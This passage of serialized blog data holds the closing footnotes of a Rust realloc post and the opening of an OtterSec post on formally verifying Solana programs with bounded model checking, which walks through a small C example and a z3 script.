",{"type":24,"tag":32,"props":26300,"children":26304},{"href":26301,"ariaLabel":26302,"className":26303,"dataFootnoteBackref":7},"#user-content-fnref-layout","Back to reference 3",[26229],[26305],{"type":29,"value":26232},{"type":24,"tag":101,"props":26307,"children":26309},{"id":26308},"user-content-fn-rustc-llvm",[26310,26312],{"type":29,"value":26311},"Actually, it's LLVM that does the optimization ",{"type":24,"tag":32,"props":26313,"children":26317},{"href":26314,"ariaLabel":26315,"className":26316,"dataFootnoteBackref":7},"#user-content-fnref-rustc-llvm","Back to reference 4",[26229],[26318],{"type":29,"value":26232},{"type":24,"tag":101,"props":26320,"children":26322},{"id":26321},"user-content-fn-godbolt",[26323,26330,26332,26338,26340],{"type":24,"tag":32,"props":26324,"children":26327},{"href":26325,"rel":26326},"https://godbolt.org/z/PK46xMbxc",[36],[26328],{"type":29,"value":26329},"Click here",{"type":29,"value":26331}," for a Compiler Explorer link showing this - note that the code for both implementations is almost identical. And yes, it's x86_64 and not eBPF, but unfortunately Compiler Explorer doesn't have Rust ",{"type":24,"tag":135,"props":26333,"children":26335},{"className":26334},[],[26336],{"type":29,"value":26337},"libcore",{"type":29,"value":26339}," available for other architectures yet. ",{"type":24,"tag":32,"props":26341,"children":26345},{"href":26342,"ariaLabel":26343,"className":26344,"dataFootnoteBackref":7},"#user-content-fnref-godbolt","Back to reference 5",[26229],[26346],{"type":29,"value":26232},{"type":24,"tag":101,"props":26348,"children":26350},{"id":26349},"user-content-fn-slice-unbound-lifetime",[26351,26353,26358,26360,26366,26368,26374,26376,26382,26384,26390,26392,26398,26400,26405,26407],{"type":29,"value":26352},"The astute reader may have noticed that ",{"type":24,"tag":135,"props":26354,"children":26356},{"className":26355},[],[26357],{"type":29,"value":26046},{"type":29,"value":26359}," still returns an unbounded lifetime (notice in the signature ",{"type":24,"tag":135,"props":26361,"children":26363},{"className":26362},[],[26364],{"type":29,"value":26365},"unsafe fn from_raw_parts_mut\u003C'a, T>(data: *mut T, len: usize) -> &'a mut [T]",{"type":29,"value":26367},", the lifetime parameter ",{"type":24,"tag":135,"props":26369,"children":26371},{"className":26370},[],[26372],{"type":29,"value":26373},"'a",{"type":29,"value":26375}," does not appear in the arguments). However, we immediately constrain the lifetime by assigning it to ",{"type":24,"tag":135,"props":26377,"children":26379},{"className":26378},[],[26380],{"type":29,"value":26381},"*slice",{"type":29,"value":26383},", which is ",{"type":24,"tag":135,"props":26385,"children":26387},{"className":26386},[],[26388],{"type":29,"value":26389},"&'info [u8]",{"type":29,"value":26391}," (where ",{"type":24,"tag":135,"props":26393,"children":26395},{"className":26394},[],[26396],{"type":29,"value":26397},"'info",{"type":29,"value":26399}," is the lifetime parameter of the ",{"type":24,"tag":135,"props":26401,"children":26403},{"className":26402},[],[26404],{"type":29,"value":22636},{"type":29,"value":26406}," struct) - this is exactly the lifetime we started with. ",{"type":24,"tag":32,"props":26408,"children":26412},{"href":26409,"ariaLabel":26410,"className":26411,"dataFootnoteBackref":7},"#user-content-fnref-slice-unbound-lifetime","Back to reference 6",[26229],[26413],{"type":29,"value":26232},{"type":24,"tag":10562,"props":26415,"children":26416},{},[26417],{"type":29,"value":10566},{"title":7,"searchDepth":284,"depth":284,"links":26419},[26420,26426,26430,26431,26433],{"id":22066,"depth":284,"text":26421,"children":26422},"Breaking down realloc",[26423,26424],{"id":22232,"depth":294,"text":22235},{"id":23588,"depth":294,"text":26425},"Back to realloc",{"id":24537,"depth":284,"text":24540,"children":26427},[26428,26429],{"id":24543,"depth":294,"text":24546},{"id":24764,"depth":294,"text":24767},{"id":24951,"depth":284,"text":24954},{"id":25351,"depth":284,"text":26432},"Towards safer unsafe",{"id":23178,"depth":284,"text":26124},"content:blog:2022-12-09-rust-realloc-and-references.md","blog/2022-12-09-rust-realloc-and-references.md","blog/2022-12-09-rust-realloc-and-references",{"_path":26438,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":26439,"description":26440,"author":26441,"image":26442,"date":26444,"isFeatured":16,"onBlogPage":16,"tags":26445,"body":26446,"_type":10599,"_id":36676,"_source":10601,"_file":36677,"_stem":36678,"_extension":10604},"/blog/2023-01-26-formally-verifying-solana-programs","Solana Formal Verification: A Case Study","We present a novel framework for formal verification of Solana Anchor programs — and a case study application to the Squads multisig.","harrison",{"src":26443,"height":21323,"width":21324},"/posts/formally-verifying-solana-programs/formal-verification-title.jpg","2023-01-26",[10616,10617],{"type":21,"children":26447,"toc":36648},[26448,26453,26458,26484,26488,26500,26523,26546,26558,26581,26584,26591,26640,26646,26652,26657,26668,26709,26714,26720,26725,26955,26974,26979,26984,27057,27062,27132,27146,27571,27591,27597,27616,27621,27626,27631,27637,27649,27684,27695,27706,27718,27723,27754,27778,27797,27803,27820,27826,27853,27858,27878,27890,28035,28063,28066,28078,28161,28180,28183,28222,28388,28393,28399,28411,28430,28443,28604,28616,28629,29102,29107,29154,29160,29178,29246,29484,29698,29703,29777,29825,29830,29836,29938,30042,30047,30110,30115,30121,30186,30191,30233,30259,30265,30334,30339,30389,30400,30406,30417,30438,30443,30448,30471,30477,30489,30509,31603,31622,31673,31678,31686,31698,31703,31711,31716,31732,31768,31773,31867,31872,31880,31885,31997,32002,32010,32023,32187,32192,32200,32205,32210,32278,32312,32318,32323,32334,32352,32730,32742,32754,32762,32773,32804,32809,32817,32822,33095,33114,33119,33145,34013,34025,34124,34136,34178,34183,34195,34203,34208,34220,34246,34406,34418,34426,34431,34707,34712,34724,34879,34899,35225,35259,35453,35486,35498,35620,35640,35645,35650,35655,35668,35676,35681,36156,36168,36173,36185,36190,36449,36475,36480,36486,36492,36504,36516,36535,36582,36587,36593,36598,36603,36608,36612,36617,36622,36625,36644],{"type":24,"tag":25,"props":26449,"children":26450},{},[26451],{"type":29,"value":26452},"Since the early days of computing, bugs have crept their way into programs and wreaked havoc on the intentions of the programmer. Logical fallacies, race conditions, or simple typos could manifest as crashes or lay undetected, silently breaking the functionality of the host program.",{"type":24,"tag":25,"props":26454,"children":26455},{},[26456],{"type":29,"value":26457},"When your program is connected to the internet, there is the new risk that bugs may introduce security holes into your system. Even simple buffer overflows can be exploited by skilled attackers to compromise the integrity of your program.",{"type":24,"tag":25,"props":26459,"children":26460},{},[26461,26463,26467,26469,26474,26476,26483],{"type":29,"value":26462},"In the world of Web3 we create programs that talk to strangers ",{"type":24,"tag":10648,"props":26464,"children":26465},{},[26466],{"type":29,"value":24068},{"type":29,"value":26468}," control millions of dollars 🤑. Bugs in these programs are some of the ",{"type":24,"tag":10648,"props":26470,"children":26471},{},[26472],{"type":29,"value":26473},"juciest",{"type":29,"value":26475},"; anonymous attackers that can find and exploit them will walk away with potentially ",{"type":24,"tag":32,"props":26477,"children":26480},{"href":26478,"rel":26479},"https://rekt.news/leaderboard/",[36],[26481],{"type":29,"value":26482},"hundreds of millions of dollars",{"type":29,"value":41},{"type":24,"tag":26485,"props":26486,"children":26487},"hr",{},[],{"type":24,"tag":25,"props":26489,"children":26490},{},[26491,26493,26498],{"type":29,"value":26492},"At OtterSec we are ",{"type":24,"tag":10648,"props":26494,"children":26495},{},[26496],{"type":29,"value":26497},"highly skilled in pest control",{"type":29,"value":26499}," - finding and squashing bugs before they are exploited by less well-intentioned hackers. We are constantly striving to improve our techniques and develop new technologies that aid in our auditing processes.",{"type":24,"tag":25,"props":26501,"children":26502},{},[26503,26505,26512,26514,26521],{"type":29,"value":26504},"Recently we were contacted by the ",{"type":24,"tag":32,"props":26506,"children":26509},{"href":26507,"rel":26508},"https://squads.so/",[36],[26510],{"type":29,"value":26511},"Squads team",{"type":29,"value":26513}," to explore how formal verification could be used to verify security-critical properties of Solana programs. We were really excited about this opportunity and have been developing a prototype with the ",{"type":24,"tag":32,"props":26515,"children":26518},{"href":26516,"rel":26517},"https://github.com/Squads-Protocol/squads-mpl",[36],[26519],{"type":29,"value":26520},"Squads Multisig Program",{"type":29,"value":26522}," as our main case study.",{"type":24,"tag":25,"props":26524,"children":26525},{},[26526,26528,26535,26537,26544],{"type":29,"value":26527},"We now have a (mostly) working prototype that can be used to formally verify critical properties of Solana programs in order to ensure a higher level of security. Our tool integrates with ",{"type":24,"tag":32,"props":26529,"children":26532},{"href":26530,"rel":26531},"https://www.anchor-lang.com/",[36],[26533],{"type":29,"value":26534},"anchor-lang",{"type":29,"value":26536}," and provides new APIs to specify invariants for your Solana code. It then autogenerates proof harnesses which are verified with the ",{"type":24,"tag":32,"props":26538,"children":26541},{"href":26539,"rel":26540},"https://github.com/model-checking/kani",[36],[26542],{"type":29,"value":26543},"Kani Rust Verifier",{"type":29,"value":26545},". Additionally, we are implementing a formal-verification-friendly runtime SDK layer that accelerates the expensive process of running formal verification tools on complex code.",{"type":24,"tag":25,"props":26547,"children":26548},{},[26549,26551,26556],{"type":29,"value":26550},"In this blog post, we're excited to share our progress and the challenges we've encountered during the process. We will describe the main concepts behind ",{"type":24,"tag":10648,"props":26552,"children":26553},{},[26554],{"type":29,"value":26555},"bounded model checking",{"type":29,"value":26557}," (our formal verification method of choice) and explain how we've applied these concepts to Solana.",{"type":24,"tag":25,"props":26559,"children":26560},{},[26561],{"type":24,"tag":10648,"props":26562,"children":26563},{},[26564,26566,26573,26575],{"type":29,"value":26565},"If you're interested in learning more or getting your own programs formally verified, let us know! We'd be excited to chat with you! — Fill out ",{"type":24,"tag":32,"props":26567,"children":26570},{"href":26568,"rel":26569},"https://osec.io/contact",[36],[26571],{"type":29,"value":26572},"this form",{"type":29,"value":26574}," or email us at ",{"type":24,"tag":32,"props":26576,"children":26578},{"href":26577},"mailto:contact@osec.io",[26579],{"type":29,"value":26580},"contact@osec.io",{"type":24,"tag":26485,"props":26582,"children":26583},{},[],{"type":24,"tag":26585,"props":26586,"children":26588},"h4",{"id":26587},"contents",[26589],{"type":29,"value":26590},"Contents:",{"type":24,"tag":3834,"props":26592,"children":26593},{},[26594,26599,26616,26626,26631,26636],{"type":24,"tag":101,"props":26595,"children":26596},{},[26597],{"type":29,"value":26598},"Formal Verification with Bounded Model Checking\na. Overview\nb. A simple example\nc. Loop bounds & path explosion\nd. The Kani Rust Verifier",{"type":24,"tag":101,"props":26600,"children":26601},{},[26602,26607,26609,26614],{"type":24,"tag":213,"props":26603,"children":26604},{},[26605],{"type":29,"value":26606},"Specification",{"type":29,"value":26608},": How can we describe what we ",{"type":24,"tag":10648,"props":26610,"children":26611},{},[26612],{"type":29,"value":26613},"want",{"type":29,"value":26615}," our program to do?",{"type":24,"tag":101,"props":26617,"children":26618},{},[26619,26624],{"type":24,"tag":213,"props":26620,"children":26621},{},[26622],{"type":29,"value":26623},"Verification",{"type":29,"value":26625},": How do we check that our model is correct?",{"type":24,"tag":101,"props":26627,"children":26628},{},[26629],{"type":29,"value":26630},"Case Study: Squads Multisig",{"type":24,"tag":101,"props":26632,"children":26633},{},[26634],{"type":29,"value":26635},"Additional challenges in Solana",{"type":24,"tag":101,"props":26637,"children":26638},{},[26639],{"type":29,"value":10550},{"type":24,"tag":62,"props":26641,"children":26643},{"id":26642},"formal-verification-with-bounded-model-checking",[26644],{"type":29,"value":26645},"Formal Verification with Bounded Model Checking",{"type":24,"tag":85,"props":26647,"children":26649},{"id":26648},"overview",[26650],{"type":29,"value":26651},"Overview",{"type":24,"tag":25,"props":26653,"children":26654},{},[26655],{"type":29,"value":26656},"Formal verification is the process of using a formal specification to verify the correctness of a system. In this case, the systems we are verifying are programs written in Rust that run on the Solana blockchain.",{"type":24,"tag":25,"props":26658,"children":26659},{},[26660,26662,26667],{"type":29,"value":26661},"There are many different flavors of formal verification, however in this research we are using ",{"type":24,"tag":213,"props":26663,"children":26664},{},[26665],{"type":29,"value":26666},"bounded model checking (BMC)",{"type":29,"value":41},{"type":24,"tag":25,"props":26669,"children":26670},{},[26671,26673,26678,26680,26685,26687,26691,26693,26699,26701,26707],{"type":29,"value":26672},"In short, the idea of BMC is to execute our program ",{"type":24,"tag":10648,"props":26674,"children":26675},{},[26676],{"type":29,"value":26677},"symbolically",{"type":29,"value":26679}," rather than ",{"type":24,"tag":10648,"props":26681,"children":26682},{},[26683],{"type":29,"value":26684},"concretely",{"type":29,"value":26686},". Instead of actually performing an ",{"type":24,"tag":10648,"props":26688,"children":26689},{},[26690],{"type":29,"value":17344},{"type":29,"value":26692}," when we see the line ",{"type":24,"tag":135,"props":26694,"children":26696},{"className":26695},[],[26697],{"type":29,"value":26698},"int x = a + b",{"type":29,"value":26700},", we store the symbolic expression ",{"type":24,"tag":135,"props":26702,"children":26704},{"className":26703},[],[26705],{"type":29,"value":26706},"x == a + b",{"type":29,"value":26708},". We do this for every line and once we reach the end of the program we have compiled a huge list of symbolic expressions. At this point, we can feed these expressions to a SMT solver along with a correctness property P in order to check if our program satisfies this property.",{"type":24,"tag":25,"props":26710,"children":26711},{},[26712],{"type":29,"value":26713},"If we hit a branch as we are tracing the program, we will take both sides of the branch adding the positive branch condition as a constraint to one side and the negative condition to the other side.",{"type":24,"tag":85,"props":26715,"children":26717},{"id":26716},"a-simple-example",[26718],{"type":29,"value":26719},"A simple example",{"type":24,"tag":25,"props":26721,"children":26722},{},[26723],{"type":29,"value":26724},"As an example, consider the following function:",{"type":24,"tag":261,"props":26726,"children":26728},{"code":26727,"language":578,"meta":7,"className":576,"style":7},"int foo(int x) {\n int y = x + 3;\n int z;\n if (y > 100) {\n z = y * 2;\n } else {\n z = y + 1;\n }\n\n // Property P:\n assert(z != 105);\n}\n",[26729],{"type":24,"tag":135,"props":26730,"children":26731},{"__ignoreMap":7},[26732,26761,26793,26805,26830,26858,26873,26900,26907,26914,26922,26948],{"type":24,"tag":271,"props":26733,"children":26734},{"class":273,"line":274},[26735,26739,26744,26748,26752,26757],{"type":24,"tag":271,"props":26736,"children":26737},{"style":278},[26738],{"type":29,"value":3923},{"type":24,"tag":271,"props":26740,"children":26741},{"style":598},[26742],{"type":29,"value":26743}," foo",{"type":24,"tag":271,"props":26745,"children":26746},{"style":288},[26747],{"type":29,"value":606},{"type":24,"tag":271,"props":26749,"children":26750},{"style":278},[26751],{"type":29,"value":3923},{"type":24,"tag":271,"props":26753,"children":26754},{"style":630},[26755],{"type":29,"value":26756}," x",{"type":24,"tag":271,"props":26758,"children":26759},{"style":288},[26760],{"type":29,"value":919},{"type":24,"tag":271,"props":26762,"children":26763},{"class":273,"line":284},[26764,26768,26772,26776,26781,26785,26789],{"type":24,"tag":271,"props":26765,"children":26766},{"style":278},[26767],{"type":29,"value":6300},{"type":24,"tag":271,"props":26769,"children":26770},{"style":288},[26771],{"type":29,"value":12233},{"type":24,"tag":271,"props":26773,"children":26774},{"style":624},[26775],{"type":29,"value":762},{"type":24,"tag":271,"props":26777,"children":26778},{"style":288},[26779],{"type":29,"value":26780}," x ",{"type":24,"tag":271,"props":26782,"children":26783},{"style":624},[26784],{"type":29,"value":1012},{"type":24,"tag":271,"props":26786,"children":26787},{"style":477},[26788],{"type":29,"value":4932},{"type":24,"tag":271,"props":26790,"children":26791},{"style":288},[26792],{"type":29,"value":1069},{"type":24,"tag":271,"props":26794,"children":26795},{"class":273,"line":294},[26796,26800],{"type":24,"tag":271,"props":26797,"children":26798},{"style":278},[26799],{"type":29,"value":6300},{"type":24,"tag":271,"props":26801,"children":26802},{"style":288},[26803],{"type":29,"value":26804}," z;\n",{"type":24,"tag":271,"props":26806,"children":26807},{"class":273,"line":303},[26808,26812,26817,26821,26826],{"type":24,"tag":271,"props":26809,"children":26810},{"style":749},[26811],{"type":29,"value":5025},{"type":24,"tag":271,"props":26813,"children":26814},{"style":288},[26815],{"type":29,"value":26816}," (y ",{"type":24,"tag":271,"props":26818,"children":26819},{"style":624},[26820],{"type":29,"value":18165},{"type":24,"tag":271,"props":26822,"children":26823},{"style":477},[26824],{"type":29,"value":26825}," 100",{"type":24,"tag":271,"props":26827,"children":26828},{"style":288},[26829],{"type":29,"value":919},{"type":24,"tag":271,"props":26831,"children":26832},{"class":273,"line":312},[26833,26838,26842,26846,26850,26854],{"type":24,"tag":271,"props":26834,"children":26835},{"style":288},[26836],{"type":29,"value":26837}," z ",{"type":24,"tag":271,"props":26839,"children":26840},{"style":624},[26841],{"type":29,"value":762},{"type":24,"tag":271,"props":26843,"children":26844},{"style":288},[26845],{"type":29,"value":12233},{"type":24,"tag":271,"props":26847,"children":26848},{"style":624},[26849],{"type":29,"value":627},{"type":24,"tag":271,"props":26851,"children":26852},{"style":477},[26853],{"type":29,"value":4183},{"type":24,"tag":271,"props":26855,"children":26856},{"style":288},[26857],{"type":29,"value":1069},{"type":24,"tag":271,"props":26859,"children":26860},{"class":273,"line":321},[26861,26865,26869],{"type":24,"tag":271,"props":26862,"children":26863},{"style":288},[26864],{"type":29,"value":23476},{"type":24,"tag":271,"props":26866,"children":26867},{"style":749},[26868],{"type":29,"value":11044},{"type":24,"tag":271,"props":26870,"children":26871},{"style":288},[26872],{"type":29,"value":7145},{"type":24,"tag":271,"props":26874,"children":26875},{"class":273,"line":330},[26876,26880,26884,26888,26892,26896],{"type":24,"tag":271,"props":26877,"children":26878},{"style":288},[26879],{"type":29,"value":26837},{"type":24,"tag":271,"props":26881,"children":26882},{"style":624},[26883],{"type":29,"value":762},{"type":24,"tag":271,"props":26885,"children":26886},{"style":288},[26887],{"type":29,"value":12233},{"type":24,"tag":271,"props":26889,"children":26890},{"style":624},[26891],{"type":29,"value":1012},{"type":24,"tag":271,"props":26893,"children":26894},{"style":477},[26895],{"type":29,"value":824},{"type":24,"tag":271,"props":26897,"children":26898},{"style":288},[26899],{"type":29,"value":1069},{"type":24,"tag":271,"props":26901,"children":26902},{"class":273,"line":339},[26903],{"type":24,"tag":271,"props":26904,"children":26905},{"style":288},[26906],{"type":29,"value":4385},{"type":24,"tag":271,"props":26908,"children":26909},{"class":273,"line":347},[26910],{"type":24,"tag":271,"props":26911,"children":26912},{"emptyLinePlaceholder":16},[26913],{"type":29,"value":327},{"type":24,"tag":271,"props":26915,"children":26916},{"class":273,"line":356},[26917],{"type":24,"tag":271,"props":26918,"children":26919},{"style":2058},[26920],{"type":29,"value":26921}," // Property P:\n",{"type":24,"tag":271,"props":26923,"children":26924},{"class":273,"line":365},[26925,26930,26935,26939,26944],{"type":24,"tag":271,"props":26926,"children":26927},{"style":598},[26928],{"type":29,"value":26929}," assert",{"type":24,"tag":271,"props":26931,"children":26932},{"style":288},[26933],{"type":29,"value":26934},"(z ",{"type":24,"tag":271,"props":26936,"children":26937},{"style":624},[26938],{"type":29,"value":23386},{"type":24,"tag":271,"props":26940,"children":26941},{"style":477},[26942],{"type":29,"value":26943}," 105",{"type":24,"tag":271,"props":26945,"children":26946},{"style":288},[26947],{"type":29,"value":1155},{"type":24,"tag":271,"props":26949,"children":26950},{"class":273,"line":374},[26951],{"type":24,"tag":271,"props":26952,"children":26953},{"style":288},[26954],{"type":29,"value":1171},{"type":24,"tag":25,"props":26956,"children":26957},{},[26958,26960,26965,26967,26973],{"type":29,"value":26959},"This function takes an input ",{"type":24,"tag":135,"props":26961,"children":26963},{"className":26962},[],[26964],{"type":29,"value":6034},{"type":29,"value":26966}," and does some computation. At the end of the program, the property we want to verify is that ",{"type":24,"tag":135,"props":26968,"children":26970},{"className":26969},[],[26971],{"type":29,"value":26972},"z != 105",{"type":29,"value":41},{"type":24,"tag":25,"props":26975,"children":26976},{},[26977],{"type":29,"value":26978},"With BMC, we could trace this program and derive the following constraints:",{"type":24,"tag":25,"props":26980,"children":26981},{},[26982],{"type":29,"value":26983},"Positive branch:",{"type":24,"tag":261,"props":26985,"children":26987},{"code":26986,"language":578,"meta":7,"className":576,"style":7},"y == x + 3\ny > 100\nz == y * 2\n",[26988],{"type":24,"tag":135,"props":26989,"children":26990},{"__ignoreMap":7},[26991,27016,27032],{"type":24,"tag":271,"props":26992,"children":26993},{"class":273,"line":274},[26994,26999,27003,27007,27011],{"type":24,"tag":271,"props":26995,"children":26996},{"style":288},[26997],{"type":29,"value":26998},"y ",{"type":24,"tag":271,"props":27000,"children":27001},{"style":624},[27002],{"type":29,"value":5059},{"type":24,"tag":271,"props":27004,"children":27005},{"style":288},[27006],{"type":29,"value":26780},{"type":24,"tag":271,"props":27008,"children":27009},{"style":624},[27010],{"type":29,"value":1012},{"type":24,"tag":271,"props":27012,"children":27013},{"style":477},[27014],{"type":29,"value":27015}," 3\n",{"type":24,"tag":271,"props":27017,"children":27018},{"class":273,"line":284},[27019,27023,27027],{"type":24,"tag":271,"props":27020,"children":27021},{"style":288},[27022],{"type":29,"value":26998},{"type":24,"tag":271,"props":27024,"children":27025},{"style":624},[27026],{"type":29,"value":18165},{"type":24,"tag":271,"props":27028,"children":27029},{"style":477},[27030],{"type":29,"value":27031}," 100\n",{"type":24,"tag":271,"props":27033,"children":27034},{"class":273,"line":294},[27035,27040,27044,27048,27052],{"type":24,"tag":271,"props":27036,"children":27037},{"style":288},[27038],{"type":29,"value":27039},"z ",{"type":24,"tag":271,"props":27041,"children":27042},{"style":624},[27043],{"type":29,"value":5059},{"type":24,"tag":271,"props":27045,"children":27046},{"style":288},[27047],{"type":29,"value":12233},{"type":24,"tag":271,"props":27049,"children":27050},{"style":624},[27051],{"type":29,"value":627},{"type":24,"tag":271,"props":27053,"children":27054},{"style":477},[27055],{"type":29,"value":27056}," 2\n",{"type":24,"tag":25,"props":27058,"children":27059},{},[27060],{"type":29,"value":27061},"Negative branch:",{"type":24,"tag":261,"props":27063,"children":27065},{"code":27064,"language":578,"meta":7,"className":576,"style":7},"y == x + 3\ny \u003C= 100\nz == y + 1\n",[27066],{"type":24,"tag":135,"props":27067,"children":27068},{"__ignoreMap":7},[27069,27092,27108],{"type":24,"tag":271,"props":27070,"children":27071},{"class":273,"line":274},[27072,27076,27080,27084,27088],{"type":24,"tag":271,"props":27073,"children":27074},{"style":288},[27075],{"type":29,"value":26998},{"type":24,"tag":271,"props":27077,"children":27078},{"style":624},[27079],{"type":29,"value":5059},{"type":24,"tag":271,"props":27081,"children":27082},{"style":288},[27083],{"type":29,"value":26780},{"type":24,"tag":271,"props":27085,"children":27086},{"style":624},[27087],{"type":29,"value":1012},{"type":24,"tag":271,"props":27089,"children":27090},{"style":477},[27091],{"type":29,"value":27015},{"type":24,"tag":271,"props":27093,"children":27094},{"class":273,"line":284},[27095,27099,27104],{"type":24,"tag":271,"props":27096,"children":27097},{"style":288},[27098],{"type":29,"value":26998},{"type":24,"tag":271,"props":27100,"children":27101},{"style":624},[27102],{"type":29,"value":27103},"\u003C=",{"type":24,"tag":271,"props":27105,"children":27106},{"style":477},[27107],{"type":29,"value":27031},{"type":24,"tag":271,"props":27109,"children":27110},{"class":273,"line":294},[27111,27115,27119,27123,27127],{"type":24,"tag":271,"props":27112,"children":27113},{"style":288},[27114],{"type":29,"value":27039},{"type":24,"tag":271,"props":27116,"children":27117},{"style":624},[27118],{"type":29,"value":5059},{"type":24,"tag":271,"props":27120,"children":27121},{"style":288},[27122],{"type":29,"value":12233},{"type":24,"tag":271,"props":27124,"children":27125},{"style":624},[27126],{"type":29,"value":1012},{"type":24,"tag":271,"props":27128,"children":27129},{"style":477},[27130],{"type":29,"value":27131}," 1\n",{"type":24,"tag":25,"props":27133,"children":27134},{},[27135,27137,27144],{"type":29,"value":27136},"Using the ",{"type":24,"tag":32,"props":27138,"children":27141},{"href":27139,"rel":27140},"https://github.com/Z3Prover/z3",[36],[27142],{"type":29,"value":27143},"z3",{"type":29,"value":27145}," SMT solver, we could check both of these cases like so:",{"type":24,"tag":261,"props":27147,"children":27151},{"code":27148,"language":27149,"meta":7,"className":27150,"style":7},"from z3 import *\n\nx = Int('x')\ny = Int('y')\nz = Int('z')\n\n# Positive branch:\ns = Solver()\ns.add(y == x + 3)\ns.add(y > 100)\ns.add(z == y * 2)\n\n# check if we can violate the correctness property\ns.add(Not(z != 105))\nprint(s.check()) # \"unsat\"\n\n# Negative branch:\ns = Solver()\ns.add(y == x + 3)\ns.add(y \u003C= 100)\ns.add(z == y + 1)\n\n# check if we can violate the correctness property\ns.add(Not(z != 105))\nprint(s.check()) # \"unsat\"\n","python","language-python shiki shiki-themes slack-dark",[27152],{"type":24,"tag":135,"props":27153,"children":27154},{"__ignoreMap":7},[27155,27178,27185,27211,27235,27259,27266,27274,27291,27319,27338,27366,27373,27381,27402,27420,27427,27435,27450,27477,27496,27523,27530,27537,27556],{"type":24,"tag":271,"props":27156,"children":27157},{"class":273,"line":274},[27158,27163,27168,27173],{"type":24,"tag":271,"props":27159,"children":27160},{"style":749},[27161],{"type":29,"value":27162},"from",{"type":24,"tag":271,"props":27164,"children":27165},{"style":288},[27166],{"type":29,"value":27167}," z3 ",{"type":24,"tag":271,"props":27169,"children":27170},{"style":749},[27171],{"type":29,"value":27172},"import",{"type":24,"tag":271,"props":27174,"children":27175},{"style":624},[27176],{"type":29,"value":27177}," *\n",{"type":24,"tag":271,"props":27179,"children":27180},{"class":273,"line":284},[27181],{"type":24,"tag":271,"props":27182,"children":27183},{"emptyLinePlaceholder":16},[27184],{"type":29,"value":327},{"type":24,"tag":271,"props":27186,"children":27187},{"class":273,"line":294},[27188,27193,27197,27202,27207],{"type":24,"tag":271,"props":27189,"children":27190},{"style":288},[27191],{"type":29,"value":27192},"x ",{"type":24,"tag":271,"props":27194,"children":27195},{"style":624},[27196],{"type":29,"value":762},{"type":24,"tag":271,"props":27198,"children":27199},{"style":288},[27200],{"type":29,"value":27201}," Int(",{"type":24,"tag":271,"props":27203,"children":27204},{"style":378},[27205],{"type":29,"value":27206},"'x'",{"type":24,"tag":271,"props":27208,"children":27209},{"style":288},[27210],{"type":29,"value":694},{"type":24,"tag":271,"props":27212,"children":27213},{"class":273,"line":303},[27214,27218,27222,27226,27231],{"type":24,"tag":271,"props":27215,"children":27216},{"style":288},[27217],{"type":29,"value":26998},{"type":24,"tag":271,"props":27219,"children":27220},{"style":624},[27221],{"type":29,"value":762},{"type":24,"tag":271,"props":27223,"children":27224},{"style":288},[27225],{"type":29,"value":27201},{"type":24,"tag":271,"props":27227,"children":27228},{"style":378},[27229],{"type":29,"value":27230},"'y'",{"type":24,"tag":271,"props":27232,"children":27233},{"style":288},[27234],{"type":29,"value":694},{"type":24,"tag":271,"props":27236,"children":27237},{"class":273,"line":312},[27238,27242,27246,27250,27255],{"type":24,"tag":271,"props":27239,"children":27240},{"style":288},[27241],{"type":29,"value":27039},{"type":24,"tag":271,"props":27243,"children":27244},{"style":624},[27245],{"type":29,"value":762},{"type":24,"tag":271,"props":27247,"children":27248},{"style":288},[27249],{"type":29,"value":27201},{"type":24,"tag":271,"props":27251,"children":27252},{"style":378},[27253],{"type":29,"value":27254},"'z'",{"type":24,"tag":271,"props":27256,"children":27257},{"style":288},[27258],{"type":29,"value":694},{"type":24,"tag":271,"props":27260,"children":27261},{"class":273,"line":321},[27262],{"type":24,"tag":271,"props":27263,"children":27264},{"emptyLinePlaceholder":16},[27265],{"type":29,"value":327},{"type":24,"tag":271,"props":27267,"children":27268},{"class":273,"line":330},[27269],{"type":24,"tag":271,"props":27270,"children":27271},{"style":2058},[27272],{"type":29,"value":27273},"# Positive branch:\n",{"type":24,"tag":271,"props":27275,"children":27276},{"class":273,"line":339},[27277,27282,27286],{"type":24,"tag":271,"props":27278,"children":27279},{"style":288},[27280],{"type":29,"value":27281},"s ",{"type":24,"tag":271,"props":27283,"children":27284},{"style":624},[27285],{"type":29,"value":762},{"type":24,"tag":271,"props":27287,"children":27288},{"style":288},[27289],{"type":29,"value":27290}," Solver()\n",{"type":24,"tag":271,"props":27292,"children":27293},{"class":273,"line":347},[27294,27299,27303,27307,27311,27315],{"type":24,"tag":271,"props":27295,"children":27296},{"style":288},[27297],{"type":29,"value":27298},"s.add(y ",{"type":24,"tag":271,"props":27300,"children":27301},{"style":624},[27302],{"type":29,"value":5059},{"type":24,"tag":271,"props":27304,"children":27305},{"style":288},[27306],{"type":29,"value":26780},{"type":24,"tag":271,"props":27308,"children":27309},{"style":624},[27310],{"type":29,"value":1012},{"type":24,"tag":271,"props":27312,"children":27313},{"style":477},[27314],{"type":29,"value":4932},{"type":24,"tag":271,"props":27316,"children":27317},{"style":288},[27318],{"type":29,"value":694},{"type":24,"tag":271,"props":27320,"children":27321},{"class":273,"line":356},[27322,27326,27330,27334],{"type":24,"tag":271,"props":27323,"children":27324},{"style":288},[27325],{"type":29,"value":27298},{"type":24,"tag":271,"props":27327,"children":27328},{"style":624},[27329],{"type":29,"value":18165},{"type":24,"tag":271,"props":27331,"children":27332},{"style":477},[27333],{"type":29,"value":26825},{"type":24,"tag":271,"props":27335,"children":27336},{"style":288},[27337],{"type":29,"value":694},{"type":24,"tag":271,"props":27339,"children":27340},{"class":273,"line":365},[27341,27346,27350,27354,27358,27362],{"type":24,"tag":271,"props":27342,"children":27343},{"style":288},[27344],{"type":29,"value":27345},"s.add(z ",{"type":24,"tag":271,"props":27347,"children":27348},{"style":624},[27349],{"type":29,"value":5059},{"type":24,"tag":271,"props":27351,"children":27352},{"style":288},[27353],{"type":29,"value":12233},{"type":24,"tag":271,"props":27355,"children":27356},{"style":624},[27357],{"type":29,"value":627},{"type":24,"tag":271,"props":27359,"children":27360},{"style":477},[27361],{"type":29,"value":4183},{"type":24,"tag":271,"props":27363,"children":27364},{"style":288},[27365],{"type":29,"value":694},{"type":24,"tag":271,"props":27367,"children":27368},{"class":273,"line":374},[27369],{"type":24,"tag":271,"props":27370,"children":27371},{"emptyLinePlaceholder":16},[27372],{"type":29,"value":327},{"type":24,"tag":271,"props":27374,"children":27375},{"class":273,"line":384},[27376],{"type":24,"tag":271,"props":27377,"children":27378},{"style":2058},[27379],{"type":29,"value":27380},"# check if we can violate the correctness 